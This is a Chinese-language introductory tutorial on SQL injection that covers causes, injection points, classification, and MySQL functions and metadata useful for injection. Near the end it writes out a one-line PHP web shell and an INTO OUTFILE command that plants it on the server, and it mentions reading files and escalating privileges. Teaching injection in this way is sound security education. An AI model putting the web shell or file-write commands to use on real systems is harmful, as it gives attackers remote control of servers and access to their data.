sql注入基础

sql注入

  • 漏洞的原理
  • 漏洞的利用方式
  • 漏洞的修复

1. 什么是sql

[简介]

sql是结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标

准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准言

(ANSI X3.135-1986) , 1987年得到国际标准组织的支持下成为国际标准。

2. 什么是SQL注入

SQL注入(SQLInjection)是一种常见的web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在

的数据库漏洞进行攻击。

[漏洞原理]

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法 , 破坏原有SQL结构达到编写程序时意料之外

结果的攻击行为。

[原因]

  1. 程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
  2. 对用户可控参数未进行足够的过滤便将参数内容拼接进入到SQL语句中。

页面接收的相关参数未进行过滤限制直接和原有的sql语句拼接然后带入到数据库查询

sql注入属于服务端攻击,和操作系统,数据库类型,以及脚本语言类型都是无关的,他是程序代码的漏洞

注入提交的方式:

根据SQL注入漏洞的原理,在用户可控参数中注入SQL语法,也就是说web应用在获取用户数据的地方,只要

带入数据库查询,都有存在SQL注入的可能 , 这些地方通常包括 :

  • GET 数据
  • POST 数据
  • HTTP 头部 (HTTP请求报文其他字段)
  • Cookie 数据
  • user-agent
  • referer

注入点可能存在的页面:

  • 用户登录页面
  • 用户注册页面
  • 用户修改个人信息页面
  • 留言板等一系列与数据库交互的页面都有可能存在sql注入

[漏洞危害]

攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如︰管理员后台密码),从而脱取数据库中内容

(脱库)。在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据

库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限。mysql数据库可以

利用mof|udf提权

3. sql注入分类

3.1 按照数据类型分类

SQL注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL注入分为数字型字符型

[数字型注入]

数字型注入就是说注入点的数据,拼接到SQL语句中是以数字型出现的 , 即数据两边没有被单引号、双引号包括

-- 数字型注入,无单双引号
select * from user where id=1;  

[字符型注入]

字符型注入就是说注入点的数据,拼接到SQL语句中是以字符型出现的 , 即数据两边有单引号或双引号包括

-- 字符型注入,有单或双引号
select * from user where name = "alex";  

[搜索型注入]

-- 一般存在于一些搜索框
select * from user where name  like "%x%";

[xx型注入]

-- 当不是以上几种类型的注入,你可以尝试一下是否是xx型注入
select * from user where name  = ("alex")

[补充]

在sql注入的时候判断是数字型还是字符型注入很重要,因为你要考虑单引号双引号的闭合问题

在数据库中数据大体可以分为三类,数字型,字符型,时间型,注意不是数据类型的划分

3.2 按照手法分类

根据注入手法分类,大致可分为以下几个类别。

UNION query sQL injection (可联合查询注入) 联合查询,也有人成为union注入

Error-based sQL injection (报错型注入) 报错注入

Boolean-based blind sQL injection (布尔型注入) 布尔盲注

Time-based blind sQL injection (基于时间延迟注入) 延时注入

Stacked queries sQL injection(可多语句查询注入) 堆叠查询 , 可拼接多条语句

个人总结:以上是按手法分类的四大基本手法,因为以上都是查的操作,而多语句查询更倾向于增删改的操作

也可以分为三大类,联合查询,报错注入和盲注,联合查询和报错注入能看到数据库的回显,无论是错误信息还是

正确信息,而布尔盲注和延时注入看不到数据库的回显,只能通过页面的状态分析

[补充]

也可以按照注入的位置分类,get注入,post注入以及cookie注入,网上流传的GPC就是指他们三个

所有的分类都是有交叉的,是从不同的角度划分的

4. mysql注入相关函数

既然要探讨SQL注入漏洞,需要对数据库有所了解,此处以mysql为例,这里只是起到抛砖引玉的作用,其他数据

库环境下的SQL注入,读者可以按照本课程的思路去学习,唯一不同的只是数据库的特性。

4.1 注释

-- (杠杠空格)  是大多数据库支持的注释
#      --->      mysql独有的注释

/*.....*/
/*! .... */ 内联查询

4.2 元数据

mysql是一个数据库管理系统,里面存放着很多库,表,字段,对于mysql这些库名表名字段名就是元数据

这些元数据代表了数据库的结构,mysql数据库会把它存到一个数据库中,即information_schema库

image-20201215194438892

在information_schema这个数据库中,tables这个表存储了mysql中所有的表的信息,tables_name字段是表
名,tables_schema这个字段是指表所属的数据库的名字

columns这个表存储了mysql中所有的字段的信息,columns_name字段是指字段名,tables_name字段是字段所在的表名,tables_schema这个字段是指字段所处的库名

在mysql数据库下有一个user表,里面存放着可以连接数据库的账号和密码

4.3 运算符

>        <              >=           <=             !=           <>       and     or
大于     小于     大于等于    小于等于    不等于    不等于     并且    或者
mysql> select 1 > 2;
+-------+
| 1 > 2   |
+-------+
|     0      |
+-------+
1 row in set (0.00 sec)

mysql> select 1 < 2;
+-------+
| 1 < 2   |
+-------+
|     1     |
+-------+
1 row in set (0.00 sec)

mysql> select 1 = 1 and 1 > 3;
+-----------------+
| 1 = 1 and 1 > 3 |
+-----------------+
|               0          |
+-----------------+
1 row in set (0.00 sec)

mysql> select 1 = 1 or 1 > 3;
+----------------+
| 1 = 1 or 1 > 3  |
+----------------+
|              1          |
+----------------+
1 row in set (0.00 sec)

4.4 函数

version( ) 查看mysql数据库版本

mysql> select version();+-----------+| version()   |+-----------+| 5.7.26        |+-----------+1 row in set (0.01 sec)

database( ) 查看当前数据库名

mysql> select database();+------------+| database()  |+------------+| world          |+------------+1 row in set (0.00 sec)

user( ) 查看用户名

mysql> select user();+----------------+| user()               |+----------------+| root@localhost|+----------------+1 row in set (0.00 sec)

current_user( )查看当前用户名

mysql> select current_user();+----------------+| current_user()   |+----------------+| root@localhost|+----------------+1 row in set (0.00 sec)

system_user( ) 查看系统用户名

mysql> select system_user();+----------------+| system_user()  |+----------------+| root@localhos |+----------------+1 row in set (0.00 sec)

@@datadir查看数据路径

mysql> select @@datadir;+-----------------------------------------------------------------+| @@datadir                                                                             |+-----------------------------------------------------------------+| E:\developTools\tools\phpstudy_pro\Extensions\MySQL5.7.26\data\|+-----------------------------------------------------------------+1 row in set (0.00 sec)

@@basedir查看数据库的安装路径

mysql> select @@basedir;+--------------------+| @@basedir           |+--------------------+| D:/phpStudy/MySQL/ |+--------------------+1 row in set (0.00 sec)

@@versoin_compile_os查看操作系统版本

mysql> select @@version_compile_os;+----------------------+| @@version_compile_os |+----------------------+| Win64                        |+----------------------+1 row in set (0.00 sec)

length( )返回字符串的长度

mysql> select length("1234");+----------------+| length("1234") |+----------------+|              4          |+----------------+1 row in set (0.00 sec)

substring( ),substr( ),mid( )截取字符串

mysql> select substring("1234",1,2);+-----------------------+| substring("1234",1,2) |+-----------------------+| 12                               |+-----------------------+1 row in set (0.00 sec)mysql> select substr("1234",1,2);+--------------------+| substr("1234",1,2) |+--------------------+| 12                          |+--------------------+1 row in set (0.00 sec)mysql> select mid("1234",1,3);+-----------------+| mid("1234",1,3) |+-----------------+| 123                    |+-----------------+1 row in set (0.00 sec)

left( ) 从左侧开始取指定字符个数的字符串

mysql> select left("qwerr",2);+-----------------+| left("qwerr",2)    |+-----------------+| qw                      |+-----------------+1 row in set (0.00 sec)

concat( ) 没有分隔符的连接字符串

mysql> select concat("hell","owrod");+------------------------+| concat("hell","owrod") |+------------------------+| hellowrod                    |+------------------------+1 row in set (0.01 sec)

concat_ws ( )含有分割符的连接字符串

mysql> select concat_ws("-","hello","word");+-------------------------------+| concat_ws("-","hello","word") |+-------------------------------+| hello-word                             |+-------------------------------+1 row in set (0.00 sec)

ord ( ) ascii( ) 返回ASCII码

mysql> select ord('a');+----------+| ord('a')     |+----------+|       97      |+----------+1 row in set (0.01 sec)mysql> select ascii("a");+------------+| ascii("a")     |+------------+|         97       |+------------+1 row in set (0.00 sec)

char( ) 返回ascii码对应的字符

mysql> select char(97);+----------+| char(97)   |+----------+| a              |+----------+1 row in set (0.01 sec)

hex( ) 将10进制转换为十六进制

mysql> select hex(17);+---------+| hex(17)  |+---------+| 11          |+---------+1 row in set (0.00 sec)

md5( ) 返回MD5值

mysql> select md5("admin");+----------------------------------+| md5("admin")                            |+----------------------------------+| 21232f297a57a5a743894a0e4a801fc3 |+----------------------------------+1 row in set (0.01 sec)

floor(x) 返回不大于x的最大整数

mysql> select floor(5);+----------+| floor(5)    |+----------+|        5       |+----------+1 row in set (0.01 sec)

round( ) 返回参数×接近的整数,四舍五入

mysql> select round(4.4);+------------+| round(4.4) |+------------+|          4        |+------------+1 row in set (0.00 sec)

group_conat( ) 连接一个组的字符串

mysql> select group_concat(id) from city where id < 10;+-------------------+| group_concat(id)  |+-------------------+| 1,2,3,4,5,6,7,8,9     |+-------------------+1 row in set (0.00 sec)mysql> select group_concat("id","user","password");+--------------------------------------+| group_concat("id","user","password") |+--------------------------------------+| iduserpassword                               |+--------------------------------------+1 row in set (0.01 sec)

rand ( ) 返回0-1之间的随机浮点数

mysql> select rand();+--------------------+| rand()             |+--------------------+| 0.4978868081214715 |+--------------------+1 row in set (0.01 sec)mysql> select left(rand(),3);    -- 随机一个小数,并保留小数点后一位+----------------+| left(rand(),3) |+----------------+| 0.9            |+----------------+1 row in set (0.00 sec)

load_file( ) 读取文件,并返回文件内容作为一个字符串

mysql> select load_file("/tmp/a.txt");+--------------------------+| load_file("/tmp/a.txt") |+--------------------------+| hello                    |+--------------------------+1 row in set (0.00 sec)

@@secure_file_priv 查看读写文件的范围

MYSQL新特性secure_file_priv对读写文件的影响 此开关默认为NULL,即不允许导入导出。secure_file_priv 为空是 的时候 方可读写 由于这个参数不能动态更改,只能在mysql的配置文件mysql.ini中的[mysqld]中进行修改,然后重启生效。 可以通过命令查看这个属性

mysql> select @@secure_file_priv;+--------------------+| @@secure_file_priv |+--------------------+|                               |+--------------------+1 row in set (0.00 sec)secure_file_priv 为空可以在任意路径下读写文件

写入一句话木马

select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "D:\Wamp\2.php"

into outfile 写文件,把一个字符串写进一个文件中 , 注意gpc是否开启 , 开启会转义特殊字符 ' --> \'

sleep( ) 睡眠时间为指定的秒数

if(true,t,f) if判断

find_in_set( ) 返回字符串在字符串列表中的位置

benchmark( )指定语句执行的次数

name_const( )返回表作为结果

5. 注入流程

由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL注入漏洞获取数据库中信息时

候,也依据这样的顺序。首先获取数据库名,其次获取表名,然后获取字段名,最后获取数据。

原文地址:https://www.cnblogs.com/xcymn/p/15721570.html